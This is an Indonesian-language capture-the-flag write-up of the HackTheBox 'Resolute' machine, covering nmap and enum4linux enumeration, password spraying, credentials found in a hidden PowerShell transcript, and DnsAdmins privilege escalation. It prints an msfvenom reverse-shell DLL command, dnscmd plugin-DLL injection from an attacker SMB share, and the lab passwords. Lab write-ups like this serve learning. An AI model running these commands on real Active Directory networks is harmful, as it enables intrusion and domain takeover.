Jadi, kali ini saya mau nyoba bikin writeup HackTheBox Resolute! Mohon maaf kalau nantinya writeupnya kurang dimengerti soalnya saya juga lagi belajar HackTheBox juga.
Table of Contents
I. Enumeration
Pertama kita enumerate dahulu Box tersebut untuk mendapatkan data — data yang nantinya akan bisa dipakai ke tahap selanjutnya. Tahapan enumeration biasanya diawali dengan melihat port — port terbuka dengan nmap dan dilanjut dengan tahapan lainnya. Untuk lebih efisien, saya menggunakan tools AutoRecon ( https://github.com/Tib3rius/AutoRecon )
AutoRecon ini nantinya akan melakukan enumeration basic seperti melihat port tcp dan udp yang terbuka secara full maupun singkat, melakukan beberapa enumerate menggunakan nikto , dan beberapa tools lainnya! Dan akan mengeluarkan output scan yang nantinya disimpan ke file dan kita akan mudah untuk menganalisa dari beberapa file tersebut.
Berikut ini output yang didapatkan dari AutoRecon :

Mari kita lihat satu persatu, dimulai dari hasil scan nmap full :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 |
# Nmap 7.80 scan initiated Sat May 30 17:09:01 2020 as: nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN /root/htb/resolute/results/10.10.10.169/scans/_full_tcp_nmap.txt -oX /root/htb/resolute/results/10.10.10.169/scans/xml/_full_tcp_nmap.xml 10.10.10.169 Increasing send delay for 10.10.10.169 from 0 to 5 due to 1009 out of 3363 dropped probes since last increase. Nmap scan report for 10.10.10.169 Host is up, received user-set (0.21s latency). Scanned at 2020-05-30 17:09:14 WIB for 2023s Not shown: 65511 closed ports Reason: 65511 resets PORT STATE SERVICE REASON VERSION 53/tcp open domain? syn-ack ttl 127 | fingerprint-strings: | DNSVersionBindReqTCP: | version |_ bind 88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2020-05-30 10:41:02Z) 135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn 389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name) 445/tcp open microsoft-ds syn-ack ttl 127 Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK) 464/tcp open kpasswd5? syn-ack ttl 127 593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped syn-ack ttl 127 3268/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped syn-ack ttl 127 5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing 47001/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 49664/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49665/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49666/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49667/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49670/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49676/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0 49677/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49688/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49712/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 54037/tcp open tcpwrapped syn-ack ttl 127 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port53-TCP:V=7.80%I=9%D=5/30%Time=5ED23647%P=x86_64-pc-linux-gnu%r(DNSV SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\ SF:x04bind\0\0\x10\0\x03"); Aggressive OS guesses: Microsoft Windows Server 2016 build 10586 - 14393 (96%), Microsoft Windows Server 2016 (95%), Microsoft Windows 10 (93%), Microsoft Windows 10 1507 (93%), Microsoft Windows 10 1507 - 1607 (93%), Microsoft Windows Server 2012 (93%), Microsoft Windows Server 2012 R2 (93%), Microsoft Windows Server 2012 R2 Update 1 (93%), Microsoft Windows 7, Windows Server 2012, or Windows 8.1 Update 1 (93%), Microsoft Windows Vista SP1 - SP2, Windows Server 2008 SP2, or Windows 7 (93%) No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). TCP/IP fingerprint: OS:SCAN(V=7.80%E=4%D=5/30%OT=53%CT=1%CU=37481%PV=Y%DS=2%DC=T%G=Y%TM=5ED238B OS:1%P=x86_64-pc-linux-gnu)SEQ(SP=102%GCD=1%ISR=108%TI=I%CI=I%II=I%SS=S%TS= OS:A)OPS(O1=M54DNW8ST11%O2=M54DNW8ST11%O3=M54DNW8NNT11%O4=M54DNW8ST11%O5=M5 OS:4DNW8ST11%O6=M54DST11)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=200 OS:0)ECN(R=Y%DF=Y%T=80%W=2000%O=M54DNW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S OS:+%F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y% OS:T=80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD= OS:0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0% OS:S=A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1( OS:R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI= OS:N%T=80%CD=Z) Uptime guess: 0.335 days (since Sat May 30 09:40:39 2020) Network Distance: 2 hops TCP Sequence Prediction: Difficulty=258 (Good luck!) IP ID Sequence Generation: Incremental Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: |_clock-skew: mean: 2h28m28s, deviation: 4h02m32s, median: 8m26s | p2p-conficker: | Checking for Conficker.C or higher... | Check 1 (port 41231/tcp): CLEAN (Couldn't connect) | Check 2 (port 52471/tcp): CLEAN (Couldn't connect) | Check 3 (port 55070/udp): CLEAN (Timeout) | Check 4 (port 26625/udp): CLEAN (Failed to receive data) |_ 0/4 checks are positive: Host is CLEAN or ports are blocked | smb-os-discovery: | OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3) | Computer name: Resolute | NetBIOS computer name: RESOLUTE\x00 | Domain name: megabank.local | Forest name: megabank.local | FQDN: Resolute.megabank.local |_ System time: 2020-05-30T03:49:13-07:00 | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: required | smb2-security-mode: | 2.02: |_ Message signing enabled and required | smb2-time: | date: 2020-05-30T10:49:09 |_ start_date: 2020-05-30T02:49:28 TRACEROUTE (using port 80/tcp) HOP RTT ADDRESS 1 209.78 ms 10.10.14.1 2 209.83 ms 10.10.10.169 Read data files from: /usr/bin/../share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat May 30 17:42:57 2020 -- 1 IP address (1 host up) scanned in 2036.41 seconds |
Dari situ kita bisa melihat beberapa port yang terbuka, salah satunya adalah port SMB. Setelah itu, mari kita lihat hasil scan dari AutoRecon yang lain, yaitu hasil dari enum4linux . Saya memperlihatkan potongan dari outputnya saja, yang nantinya akan berfungsi untuk langkah selanjutnya.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 |
============================= | Users on 10.10.10.169 | ============================= Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 881. index: 0x10b0 RID: 0x19ca acb: 0x00000010 Account: abigail Name: (null) Desc: (null) index: 0xfbc RID: 0x1f4 acb: 0x00000210 Account: Administrator Name: (null) Desc: Built-in account for administering the computer/domain index: 0x10b4 RID: 0x19ce acb: 0x00000010 Account: angela Name: (null) Desc: (null) index: 0x10bc RID: 0x19d6 acb: 0x00000010 Account: annette Name: (null) Desc: (null) index: 0x10bd RID: 0x19d7 acb: 0x00000010 Account: annika Name: (null) Desc: (null) index: 0x10b9 RID: 0x19d3 acb: 0x00000010 Account: claire Name: (null) Desc: (null) index: 0x10bf RID: 0x19d9 acb: 0x00000010 Account: claude Name: (null) Desc: (null) index: 0xfbe RID: 0x1f7 acb: 0x00000215 Account: DefaultAccount Name: (null) Desc: A user account managed by the system. index: 0x10b5 RID: 0x19cf acb: 0x00000010 Account: felicia Name: (null) Desc: (null) index: 0x10b3 RID: 0x19cd acb: 0x00000010 Account: fred Name: (null) Desc: (null) index: 0xfbd RID: 0x1f5 acb: 0x00000215 Account: Guest Name: (null) Desc: Built-in account for guest access to the computer/domain index: 0x10b6 RID: 0x19d0 acb: 0x00000010 Account: gustavo Name: (null) Desc: (null) index: 0xff4 RID: 0x1f6 acb: 0x00000011 Account: krbtgt Name: (null) Desc: Key Distribution Center Service Account index: 0x10b1 RID: 0x19cb acb: 0x00000010 Account: marcus Name: (null) Desc: (null) index: 0x10a9 RID: 0x457 acb: 0x00000210 Account: marko Name: Marko Novak Desc: Account created. Password set to Welcome123! index: 0x10c0 RID: 0x2775 acb: 0x00000010 Account: melanie Name: (null) Desc: (null) index: 0x10c3 RID: 0x2778 acb: 0x00000010 Account: naoki Name: (null) Desc: (null) index: 0x10ba RID: 0x19d4 acb: 0x00000010 Account: paulo Name: (null) Desc: (null) index: 0x10be RID: 0x19d8 acb: 0x00000010 Account: per Name: (null) Desc: (null) index: 0x10a3 RID: 0x451 acb: 0x00000210 Account: ryan Name: Ryan Bertrand Desc: (null) index: 0x10b2 RID: 0x19cc acb: 0x00000010 Account: sally Name: (null) Desc: (null) index: 0x10c2 RID: 0x2777 acb: 0x00000010 Account: simon Name: (null) Desc: (null) index: 0x10bb RID: 0x19d5 acb: 0x00000010 Account: steve Name: (null) Desc: (null) index: 0x10b8 RID: 0x19d2 acb: 0x00000010 Account: stevie Name: (null) Desc: (null) index: 0x10af RID: 0x19c9 acb: 0x00000010 Account: sunita Name: (null) Desc: (null) index: 0x10b7 RID: 0x19d1 acb: 0x00000010 Account: ulf Name: (null) Desc: (null) index: 0x10c1 RID: 0x2776 acb: 0x00000010 Account: zach Name: (null) Desc: (null) |
Nah, dari hasil output enum4linux terdapat beberapa user yang sudah kita dapatkan, ada juga keterangan deskripsi di beberapa user. Salah satu keterangannya menyebutkan bahwa ” Account created. Password set to Welcome123!” Dari sini, bisa kita coba untuk login SMB / Evil-WinRm dahulu. Setelah dicoba, ternyata untuk akun username marko dengan password Welcome123! adalah salah! dan tidak bisa digunakan untuk login di kedua service tersebut.
II. Get User
Kalau kita mencoba berpikir secara logika dan dianalogikan pada dunia nyata kemungkinan password tersebut sudah di ganti oleh user marko karena password tersebut bisa dikatakan sebagai password default ketika membuat sebuah akun! Menarik, tapi dari banyaknya user yang kita dapatkan. Kira – kira apakah ada user yang belum mengganti password defaultnya, sehingga kita bisa menggunakan credentialsnya untuk melanjutkan kegiatan kita untuk melakukan takeover pada Box Resolute. Jadi, mari kita coba satu – satu!
Saya mengecek username mana yang bisa menggunakan password “Welcome123!” untuk login. Saya mencobanya pada service Evil-WinRM ( https://github.com/Hackplayers/evil-winrm ) bisa juga dengan mengetesnya pada service SMB pada mesin dengan menggunakan Smbmap . Akhirnya, saya menemukan username yang bisa menggunakan password “Welcome123!” untuk login, yaitu username “melanie” setelah itu, saya langsung bisa masuk ke dalam mesin Resolute dengan menggunakan User Melanie.

Username Login Mesin Resolute
Setelah melakukan login, Langsung saja kita mencari file user.txt pada directory User Melanie ini!

User.txt ada pada Folder Desktop User Melanie
III. Privillege Escalation
Okay, selanjutnya adalah Privillege Escalation! Saya mencoba untuk mendapatkan informasi terkait mesin ini dengan menggunakan user Melanie, saya mencoba untuk melihat service SMB untuk mencari – cari apakah ada sebuah file yang nantinya bisa berguna untuk digunakan untuk PrivEsc dan melihat – lihat apa yang bisa melanie ini lakukan untuk menyalahgunakan hak akses yang dimilkinya. Setelah mencari beberapa lama, saya tidak menemukan apapun yang dapat digunakan, akhirnya saya melihat direktori Users, ternyata ada 2 Users di mesin ini, yaitu melanie dan ryan. Dari situ, saya berpikir apakah clue nya ada pada user ryan ? Jadi, apakah saya harus menggunakan user ryan untuk melakukan Privillege Escalation?
Saatnya mencari cari file dan informasi yang bisa kita dapat untuk bisa login ke user ryan, untuk melihat file yang juga ke-hidden kita menggunakan “dir -force” didapatkan lah beberapa Folder yang ke hidden, dan akan kita lihat satu – persatu. Setelah menjelajahi beberapa folder, kita mendapatkan sebuah file .txt yang bernama Powershell_Transcript. Langsung saja kita lihat isinya, apa ada credentials yang bisa kita gunakan nantinya.

File yang ditemukan pada directory yang ter-hidden
Ternyata terdapat username dan password ryan pada file tersebut,
Kita gunakan username dan password untuk login ke box dengan menggunakan Evil-Winrm lagi dengan command seperti berikut : “evil-winrm -i 10.10.10.169 -u ryan -p Serv3r4Admin4cc123!“. Setelah berhasil login, kita lihat apa yang bisa dilakukan oleh user ryan kedalam box tersebut.
Ternyata user ryan ada pada beberapa group seperti Contractors dan DnsAdmins, berbeda dengan user melanie yang tidak ada pada group tersebut. Apakah jalan untuk PrivEscnya ada pada Group tersebut ? Setelah melakukan Googling saya menemukan artikel ini : https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise dimana dari users yang mempunyai akses ke DnsAdmins bisa melakukan eskalasi ke System dengan melakukan inject .dll pada config.
Sebelum melakukan injeksi .dll tersebut, kita buat shell dengan menggunakan msfvenom yang berekstensi .dll dengan command sebagai berikut :
1 |
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f dll > shell.dll |
Nah, nantinya shell ini akan di inject kan pada box dengan menggunakan smbserver milik impacket (https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbserver.py) kita nyalakan smbserver pada folder yang sama dengan hasil output dari msfvenom tadi. Dengan mengetikkan command : “smbserver.py share .” pada terminal , setelah itu kita melakukan inject .dll menggunakan user ryan dengan menggunakan command :
1 2 3 4 5 6 |
#Inject Config dnscmd 10.10.10.169 /config /serverlevelplugindll \\10.0.14.5\share\shell.dll #Stop and start dns Service after inject .dll sc.exe \\10.10.10.169 stop dns sc.exe \\10.10.10.169 start dns |
Jangan lupa sebelum melakukan start service, kita sudah menyiapkan listerner pada port 4444 untuk mendapat respond dari shell yang kita inject pada box. Dan, Root!
IV. Catatan
Alur dalam melakukan root pada box Resolute :
Enumerate (enum4linux) -> Login dengan Evil-WinRM (User Melanie) -> Mencari File Tersembunyi yang berisi Credentials user Ryan -> Eskalasi menggunakan Hak Akses DnsAdmins -> Root!
Tools dan Link yang digunakan dalam box ini :
- AutoRecon (https://github.com/Tib3rius/AutoRecon)
- Evil-WinRM (https://github.com/Hackplayers/evil-winrm)
- Impacket ( https://github.com/SecureAuthCorp/impacket )
- Eskalasi dari DnsAdmins : https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/from-dnsadmins-to-system-to-domain-compromise
Nah, begitulah Langkah – langkah untuk menyelesaikan mesin Resolute versi saya, Jika ada salah – salahnya mohon maaf! Terimakasih.